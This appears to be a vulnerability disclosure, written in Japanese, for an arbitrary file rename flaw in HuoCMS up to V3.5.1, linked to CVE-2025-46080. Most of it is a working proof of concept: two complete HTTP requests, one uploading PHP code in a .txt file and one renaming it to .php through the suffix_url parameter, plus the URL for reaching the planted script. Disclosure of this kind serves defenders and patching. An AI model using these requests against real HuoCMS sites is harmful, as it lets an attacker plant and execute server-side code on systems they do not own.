
yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
AttachmentController.php
HuoCMS - <=V3.5.1
app ->controller ->backend -> AttachmentController.php:editFileUrl()
editFileUrlメソッド内で呼び出されるcopy関数の$newPathUrlの拡張子がホワイトリストによって検証されておらず、ファイル名を変更するために悪用される可能性があります。拡張子は渡されるsuffix_urlによって制御され、操作可能です。

ステップ1: 事前にホワイトリストに登録された拡張子を持つマルウェアコンテンツを含むファイルをアップロードし、同時にファイルIDを記録します。
POST /attachment/uploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Length: 581
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin.php/Index/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="type"
2
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="attachment_cate_id"
0
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="reduce_img"
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
<?php
echo "hello word!"
?>
------geckoformboundaryd7df19e74fd06439fac43ff3e8a7a4b9--

その内容に基づき、IDは67と判断されます。
ステップ2: 次に、editFileUrlに基づいてリクエストを構築し、ID 67のファイルをリネームします。脆弱性のあるeditFileUrl内のcopy関数が呼び出され、不正な拡張子でファイルがリネームされます。
POST /attachment/editFileUrl HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: token
Content-Length: 83
Origin: http://127.0.0.1
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
id=67&name=test&prefix_url=&suffix_url=file/20250416/test.php&description=123123123

注意: 再度変更するには、editFileUrl内のcopy関数をトリガーする$oldPathUrl != $newPathUrlをバイパスするために、suffix_urlのファイル名を変更する必要があります。
アクセスURL: http://127.0.0.1/storage/file/20250416/test.php

http://huocms.com https://github.com/yggcwhat/CVE-2025-46080/edit/main/README.md https://www.huocms.com/